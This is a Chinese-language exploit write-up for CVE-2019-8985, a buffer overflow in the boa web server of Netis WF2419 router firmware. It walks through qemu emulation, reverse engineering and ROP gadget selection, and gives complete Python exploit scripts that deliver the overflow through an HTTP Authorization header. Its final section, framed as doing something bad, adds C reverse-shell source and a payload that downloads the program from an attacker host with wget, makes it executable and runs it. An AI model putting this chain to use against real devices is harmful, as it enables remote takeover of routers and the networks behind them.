我的github上传了固件和代码:Ler2sq/CVE-2019-8985: CVE–2019–8985 Netis WF2411 RCE (github.com)
NVD官方介绍:NVD - CVE-2019-8985 (nist.gov)
固件获取: WF2419 选择WF2419(2.2.36123)
根据报告者和PoC WhooAmii
可以知道这是一个路由器内的缓冲区溢出漏洞
固件用户级模拟
首先由已知信息得到漏洞点存在于/bin/boa
程序中的user_ok
函数
如下
sprintf 的时候对v10造成了溢出 而v10的buf还特别小
通过逆向可以知道 这是个认证函数 由user_name:user_password
组成的键值对形式和本地的文件进行认证
int __fastcall user_ok(const char *user_name, const char *user_pswd)
{
int v4; // $s1
int result; // $v0
int v6; // $s2
int v7; // $v0
const char *v8; // $s0
bool v9; // dc
char v10[64]; // [sp+20h] [-40h] BYREF
memset(v10, 0, sizeof(v10));
v4 = 0;
if ( get_password(64) >= 0 )
{
sprintf(v10, "%s:%s", user_name, user_pswd);<<-<<-<<- 漏洞点
v6 = (unsigned __int8)v10[0] - 58;
while ( 1 )
{
v7 = v4 << 6;
if ( password[64 * v4] == 58 && !v6 )
break;
v8 = &password[v7];
if ( strlen(&password[v7]) >= 2 )
{
v9 = strcmp(v10, v8) == 0;
result = 1;
if ( v9 )
return result;
}
if ( ++v4 > 0 )
{
fprintf(stderr, "check password error,log_passwd=%s;passwd=%s\n", user_pswd, password);
return 0;
}
}
return 1;
}
else
{
fprintf(stderr, "%s:%s:%d;get password error!\n", "htauth.c", "user_ok", 74);
return 1;
}
}
解压固件
binwalk -Me fw.bin
cd到根文件目录下 可以根据已知信息得到这是一个大端的mips
➜ sqrootfs file bin/busybox
bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
➜ sqrootfs cp $(which qemu-mips) .
试着查一下help
➜ squrootfs sudo chroot . ./qemu-mips /bin/boa --help
[sudo] password for squ:
[19/Jul/2022:13:48:04 +0000] boa.c:228 (main) - can't open /dev/null: No such file or directory
/dev/null
是一个设备文件 需要用mknod
创建
linux - -bash: dev/null: No such file or directory - at startup - Super User
sudo mknod -m 666 ./dev/null c 1 3
- m 设置权限
- c 表示字符设备文件与设备传送数据的时候是以字符的形式传送,一次传送一个字符,比如打印机、终端都是以字符的形式传送数据
- 1 3 分别是主次设备号
此时就能出现help信息了
➜ squrootfs sudo chroot . ./qemu-mips /bin/boa --help
Usage: /bin/boa -p <boa path> <-f boa.conf path>
可以看到我们需要一个boa path和一个conf path
boa启动命令一定是在配置文件或者开机项作为httpd服务启动 只需要grep搜索即可
➜ squrootfs grep -r "boa " .
./bin/webs: /bin/boa -p /web -f /etc/boa.conf &
Binary file ./bin/boa matches
接下来按照这个启动
➜ squrootfs sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf
boa.c:main:291;Can't create PID file!
根据ida定位
可以发现是/var/run/webs.pid
文件的文件夹没有创建
创建相应文件夹
mkdir var/run
此时用户态就能完全启动了
➜ squrootfs sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf
Starting Protocol Module: HTTP Server ... OK
然后可以打个PoC试试看
wget --http-user=a --http-password=$(python -c 'print "a"*0x80') http://127.0.0.1
可以看到报错信息如下
translate_uri:222;Wget/1.19.4 (linux-gnu)
translate_uri:254
translate_uri:256
htauth.c:user_auth:181;get password error!
定位到ida 是因为文件打开失败
cp本地的过去
cp /etc/passwd ./tmp
在wget一下 可以看到崩溃 PoC验证成功
check password error,log_passwd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;passwd=root:x:0:0:root:/root:/bin/bash
caught SIGSEGV, dumping core in /var/boa
qemu: uncaught target signal 6 (Aborted) - core dumped
[1] 49014 abort sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf
漏洞分析及其利用
ra
在 sp + 0x14
buf
在 sp - 0x40
也就是0x54
的 offs
同时我们也需要控制五个寄存器s0 ~ s5
这五个调用者保存寄存器
这些寄存器主要是为了劫持返回地址 因为会有sx传递给ax
然后jalr ax的gadget
.text:004146DC lw $ra, 0x60+var_s14($sp)
.text:004146E0 lw $s4, 0x60+var_s10($sp)
.text:004146E4 lw $s3, 0x60+var_sC($sp)
.text:004146E8 lw $s2, 0x60+var_s8($sp)
.text:004146EC lw $s1, 0x60+var_s4($sp)
.text:004146F0 lw $s0, 0x60+var_s0($sp)
.text:004146F4 jr $ra
.text:004146F8 addiu $sp, 0x78
sprintf的逆向语句如下
sprintf(dest, "%s:%s", username, password);
调试发现boa
加载了两个库,libC
和 libgcc
. 由已知信息得知没开aslr
审视一波libc.so.0(利用mipsrop这个ida插件)
Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000068AC | addiu $a0,$sp,0x20+var_8 | jalr $v0 |
| 0x0000711C | addiu $a0,$sp,0x1A0+var_188 | jalr $v0 |
| 0x000074BC | addiu $a0,$sp,0x1A0+var_188 | jalr $v0 |
| 0x00020660 | addiu $a0,$sp,0x30+var_18 | jalr $a0 |
| 0x000071E4 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x00008AD4 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0000A3CC | addiu $a2,$sp,0x40+var_28 | jr 0x40+var_sC($sp) |
| 0x000125E0 | addiu $a2,$sp,0x18+arg_8 | jr 0x18+var_s0($sp) |
没有可用的gadget
再到libgcc中找 第二列有a0 第三列有s0 ~ s4就行
找到这个 也就是要确保
- binsh地址在 sp + 0x18 (但这个是在执行了
addiu $sp, 0x78
之后的) - 而system在 s3 (sp + 0xc)
- ra 在 sp +0x14
能用的如下
.text:0000ABD0 addiu $a0, $sp, 0x20+var_8
.text:0000ABD4 move $a1, $s2
.text:0000ABD8 move $s0, $zero
.text:0000ABDC move $t9, $s3
.text:0000ABE0 jalr $t9
.text:0000ABE4 movz $s0, $v0, $v1
qemu 系统级别模拟
此时我们有libc库中system地址的偏移(ctrl + f搜出来)
还有libgcc库中好用的gadget
但由于需要加载lib库 获取基地址 还系统级别模拟
在 Index of /~aurel32/qemu (debian.org) 下载mips镜像并启动
qemu-system-mips \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic
然后按用户态的方式启动boa 利用gdbserver进行远程调试
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x419000 r-xp 19000 0 /bin/boa
0x459000 0x45a000 rw-p 1000 19000 /bin/boa
0x45a000 0x466000 rwxp c000 0 [heap]
0x77ee2000 0x77eee000 r-xp c000 0 /lib/libgcc_s_4181.so.1
0x77eee000 0x77f2d000 ---p 3f000 0 [anon_77eee]
0x77f2d000 0x77f2e000 rw-p 1000 b000 /lib/libgcc_s_4181.so.1
0x77f2e000 0x77f6c000 r-xp 3e000 0 /lib/libc.so.0
0x77f6c000 0x77fac000 ---p 40000 0 [anon_77f6c]
0x77fac000 0x77fad000 rw-p 1000 3e000 /lib/libc.so.0
0x77fad000 0x77fb1000 rw-p 4000 0 [anon_77fad]
0x77fb1000 0x77fb7000 r-xp 6000 0 /lib/ld-uClibc.so.0
0x77ff5000 0x77ff6000 rw-p 1000 0 [anon_77ff5]
0x77ff6000 0x77ff7000 r--p 1000 5000 /lib/ld-uClibc.so.0
0x77ff7000 0x77ff8000 rw-p 1000 6000 /lib/ld-uClibc.so.0
0x7f9ee000 0x7fff7000 rwxp 609000 0 [stack]
0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso]
尝试用脚本打一下 大部分都在公布的PoC中可以获取
import socket
from pwn import *
import base64
libc = 0x77f2e000
libgcc = 0x77ee2000
gadget = 0x0000ABD0 + libgcc
system = 0x0002AC90 + libc
MAXSZ = 1024
cmd = b"FUCK" * 50 # 看看命令有多长(boa自己也会过滤)
# cmd = b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
def exp():
print(f"[+] gadget is {hex(gadget)}")
print(f"[+] system is {hex(system)}")
payload = b'a:%s' %(b'A' * (0x4C - 2))
payload += p32(system)
payload += b'AAAA'
payload += p32(gadget)
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += cmd
header = b'GET / HTTP/1.1\r\n'
header += b'Host: 10.10.10.1:80\r\n'
header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
header += b'User-Agent: Real UserAgent\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iport = ("10.10.10.1" ,80)
# iport = ("127.0.0.1" ,80)
s.connect(iport)
s.send(header)
msg = s.recv(MAXSZ)
print("[+] Message is %s" %(msg))
s.close()
if __name__ == '__main__':
exp()
gdb 定位到地址
可以看到由于boa的限制
我们只溢出了17个cmd的字节命令
而cmd需要放在0x40800368
的位置 也就是 esp + 0x18 0x40800350 + 0x18
这就造成了一次17字节命令的RCE
gdb调试脚本如下
set arch mips
set endian big
b *0x4146f4
target remote 10.10.10.1:8888
如果我们更改cmd到mkdir hack
可以看到(程序是chroot到/web页面下了 所以mkdir是在web下)命令被执行了
但是由于 cmd的命令太短 17个长度 没法完成任何一个反向shell或者正向shell
在路由器中 想获取shell 一般是用命令执行wget下载恶意程序然后执行并反向连接到攻击机监听端口
常见pwn中的system("/bin/sh")
其实并不奏效 (具体请了解网络编程与socket)
ROP优化与改进
我们现在的payload中 有一大块字节是浪费了的 如下几个BBBB
payload = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
payload += p32(system) # s3 <- esp + 0x0c
payload += b'AAAA' # s4
payload += p32(gadget) # ra <- esp + 0x14
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += cmd # <- esp + 0x30
我们的目标是 让最后的a0(system第一个参数)尽可能的接近sp的位置
这样我们就能使用那些BBBB
区域
已知在vuln函数最后jalr ra之后 sp是在ra上4字节
gadget2
在libc中
从ra开始到cmd结束 有40个字节的空区
要充分利用这40字节 就需要降低esp
在libc中找到此gadget
sp - 0x38 + 0x30 - 0x18 = sp - 0x20
的值给a0
寄存器
然后跳到 先前的a0
里面去
但是有个问题 sp-0x20
是在 saved 寄存器存放的地方 肯定是很难布置过长的cmd
而且a0
不可控 我们需要让a0
可控
.text:00020650 addiu $sp, -0x38
.text:00020654 sw $ra, 0x30+var_s0($sp)
.text:00020658 sw $gp, 0x30+var_20($sp)
.text:0002065C li $v0, 2
.text:00020660 move $t9, $a0
.text:00020664 sw $v0, 0x30+var_18($sp)
.text:00020668 jalr $t9
.text:0002066C addiu $a0, $sp, 0x30+var_18
gadget1
而这个gadget依靠a0
进行跳转 我们需要控制a0
libgcc中
我们可以控制a0
也可以控制跳转地址
.text:00008B20 move $t9, $s4
.text:00008B24 jalr $t9 ; sub_8770
.text:00008B28 move $a0, $s0
gadget3
libgcc中
同时 栈下去了 影响到我们的s寄存器列了 需要抬上来
之前sp
减去了 0x38
那么这里 + 上0x1c
的地方可以布置下一个rop 并把sp加上来
.init:000017A4 lw $ra, 0x1C+var_s0($sp)
.init:000017A8 nop
.init:000017AC jr $ra
.init:000017B0 addiu $sp, 0x20
gadget4
libgcc中
最后 通过sp 加上0x18
的位置将sp回复到之前的sp一样的地址 也就是激动人心的第一个BBBB
的位置 并jalr到s3
.text:0000ABD0 addiu $a0, $sp, 0x20+var_8
.text:0000ABD4 move $a1, $s2
.text:0000ABD8 move $s0, $zero
.text:0000ABDC move $t9, $s3
.text:0000ABE0 jalr $t9
.text:0000ABE4 movz $s0, $v0, $v1
流程图
exp
import socket
from pwn import *
import base64
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
libc = 0x77f2e000
libgcc = 0x77ee2000
system = 0x0002AC90 + libc
gadgets = [0 ,0x00008B20 ,0x00020650 ,0x000017A4 ,0x0000ABD0]
MAXSZ = 1024
cmd = b"echo 'hacked' > CrimeStatement"
def exp():
rop = list(map(lambda x: x + libgcc,gadgets))
rop[2] = rop[2] - libgcc + libc
for i in range(1,5):
print(f"[+] rop[{i}] is {hex(rop[i])}")
print(f"[+] system is {hex(system)}")
payload = b'a:%s' %(b'A' * (0x3C - 2))
payload += p32(rop[4]) #
payload += p32(rop[3]) # s0
payload += b'AAAA' # s1
payload += b'CCCC' # s2
payload += p32(system) # s3
payload += p32(rop[2]) # s4
payload += p32(rop[1]) # ra
payload += cmd
header = b'GET / HTTP/1.1\r\n'
header += b'Host: 10.10.10.1:80\r\n'
header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
header += b'User-Agent: Real UserAgent\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iport = ("10.10.10.1" ,80)
# iport = ("127.0.0.1" ,80)
s.connect(iport)
s.send(header)
msg = s.recv(MAXSZ)
print("[+] Message is %s" %(msg))
s.close()
if __name__ == '__main__':
exp()
尾声 做点坏事
既然都拿下了这么长的cmd
那么不做点坏事也说不过去
busybox中没有nc -e
也没有bash -i
之类的东西给我们做反向shell
但是有wget
下载恶意程序并运行
编写恶意程序malware
这里不能使用execve 而要用excl
具体请看 exec family of functions in C - GeeksforGeeks
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int argc, char **argv){
if( argc != 3 ){
exit(-1);
}
int port = atoi(argv[2]);
char* ip = argv[1];
int sd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_port = htons(port),
.sin_addr.s_addr = inet_addr(ip),
};
connect(sd, (struct sockaddr *)&sin, sizeof(sin));
for(int _ = 0; _ <= 2; _++)
dup2(sd, _);
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
mips-linux-gnu-gcc -static -mabi=32 -o malware malware.c
我们需要利用两次漏洞 一次让malware可执行 一次让其跑起来(因为长度不够 没法一次性解决)
wget http://10.10.10.2:8000/malware
chmod +x malware
./malware 10.10.10.2 9999
import socket
from pwn import *
import base64
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
libc = 0x77f2e000
libgcc = 0x77ee2000
system = 0x0002AC90 + libc
gadgets = [0 ,0x00008B20 ,0x00020650 ,0x000017A4 ,0x0000ABD0]
MAXSZ = 1024
cmd = b"wget http://10.10.10.2:8000/malware ;chmod +x ./malware ;./malware 10.10.10.2 9999"
# 要分两次 一次是达咩的
def exp():
rop = list(map(lambda x: x + libgcc,gadgets))
rop[2] = rop[2] - libgcc + libc
for i in range(1,5):
print(f"[+] rop[{i}] is {hex(rop[i])}")
print(f"[+] system is {hex(system)}")
print(f"cmd length i {len(cmd)}")
payload = b'a:%s' %(b'A' * (0x3C - 2))
payload += p32(rop[4]) #
payload += p32(rop[3]) # s0
payload += b'AAAA' # s1
payload += b'CCCC' # s2
payload += p32(system) # s3
payload += p32(rop[2]) # s4
payload += p32(rop[1]) # ra
payload += cmd
header = b'GET / HTTP/1.1\r\n'
header += b'Host: 10.10.10.1:80\r\n'
header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
header += b'User-Agent: Real UserAgent\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iport = ("10.10.10.1" ,80)
s.connect(iport)
s.send(header)
msg = s.recv(MAXSZ)
print("[+] Message is %s" %(msg))
s.close()
if __name__ == '__main__':
exp()
攻击机开启监听
效果如下 成功get reverse shell